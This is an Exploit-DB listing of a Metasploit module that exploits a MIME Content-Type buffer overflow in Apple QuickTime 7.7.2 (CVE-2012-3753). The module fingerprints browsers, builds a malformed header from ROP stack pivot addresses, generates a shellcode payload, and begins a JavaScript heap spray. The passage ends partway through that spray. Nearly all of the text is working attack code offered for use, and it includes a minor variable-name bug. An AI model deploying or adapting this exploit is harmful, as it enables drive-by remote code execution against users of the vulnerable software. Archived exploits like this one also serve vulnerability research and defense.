Exploit-DB #22973
Description: Apple QuickTime 7.7.2 - MIME Type Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-11-28
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Egghunter
	include Msf::Exploit::RopDb

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    => OperatingSystems::WINDOWS,
		:ua_name    => HttpClients::SAFARI,
		:ua_maxver  => '5.0.1',
		:ua_maxver  => '5.1.7',
		:javascript => true,
		:rank       => NormalRanking, # reliable memory corruption
		:vuln_test  => nil
	})

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime 7.7.2 MIME Type Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Apple QuickTime 7.7.2. The stack
				based overflow occurs when processing a malformed Content-Type header. The module
				has been tested successfully on Safari 5.1.7 and 5.0.7 on Windows XP SP3.
			},
			'Author'         =>
				[
					'Pavel Polischouk', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-3753' ],
					[ 'OSVDB', '87088'],
					[ 'BID', '56438' ],
					[ 'URL', 'http://support.apple.com/kb/HT5581' ],
					[ 'URL', 'http://asintsov.blogspot.com.es/2012/11/heapspray.html' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					# Tested with QuickTime 7.7.2
					[ 'Automatic', {} ],
					[ 'Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2',
						{
							'OffsetFirstStackPivot' => 389,
							'OffsetSecondStackPivot' => 105,
							'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,
							'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts
							'SprayOffset' => 264,
							'SprayedAddress' => 0x60130124
						}
					],
					[ 'Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2',
						{
							'OffsetFirstStackPivot' => 389,
							'OffsetSecondStackPivot' => 105,
							'FirstStackPivot' => 0x671a230b, # ADD ESP,4B8 # RETN # Quicktime.qts,
							'SecondStackPivot' => 0x67123437, # pop esp / ret # Quicktime.qts
							'SprayOffset' => 264,
							'SprayedAddress' => 0x60130124
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Nov 07 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class
		)
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

		browser_name = ""
		if agent =~ /Safari/ and agent=~ /Version\/5\.1\.7/
			browser_name = "Safari 5.1.7"
		elsif agent =~ /Safari/ and agent=~ /Version\/5\.0\.5/
			browser_name = "Safari 5.0.5"
		end

		os_name = 'Windows XP SP3'

		targets.each do |t|
			if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def on_request_uri(client, request)

		agent = request.headers['User-Agent']
		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		return if ((p = regenerate_payload(client)) == nil)

		if request.uri =~ /\.smil$/
			print_status("Sending exploit (target: #{my_target.name})")
			smil = rand_text_alpha(20)
			type = rand_text_alpha_lower(1)
			subtype = rand_text_alpha_lower(my_target['OffsetSecondStackPivot'])
			subtype << [my_target['SecondStackPivot']].pack("V")
			subtype << [my_target['SprayedAddress']].pack("V")
			subtype << rand_text_alpha_lower(my_target['OffsetFirstStackPivot'] - subtype.length)
			subtype << rand_text_alpha_lower(4)
			subtype << [my_target['FirstStackPivot']].pack("V")
			subtype << rand_text_alpha_lower(10000 - subtype.length)
			send_response(client, smil, { 'Content-Type' => "#{type}/#{subtype}" })
		else
			print_status("Sending initial HTML")
			url =  ((datastore['SSL']) ? "https://" : "http://")
			url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
			url << ":" + datastore['SRVPORT'].to_s
			url << get_resource
			fname = rand_text_alphanumeric(4)

			code = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
			js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(my_target.arch))
			offset = rand_text(my_target['SprayOffset'])
			js_offset = Rex::Text.to_unescape(offset, Rex::Arch.endian(my_target.arch))
			fill = rand_text(4)
			js_fill = Rex::Text.to_unescape(fill, Rex::Arch.endian(my_target.arch))

			# Heap Spray based on http://asintsov.blogspot.com.es/2012/11/heapspray.html
			js = <<-JSSPRAY
function heapSpray(offset, shellcode, fillsled) {
	var chunk_size, headersize, fillsled_len, code;
	var i, codewithnum;
	chunk_size = 0x40000;
	headersize = 0x10;
	fillsled_len = chunk_size - (headersize + offset.length + shellcode.length);
	while (fillsled.length <fillsled_len)
		fillsled += fillsled;
	fillsled = fillsled.substring(0, fillsled_len);
	code = offset + shellcode + fillsled;
	heap_chunks = new Array();
	for (i = 0; i<100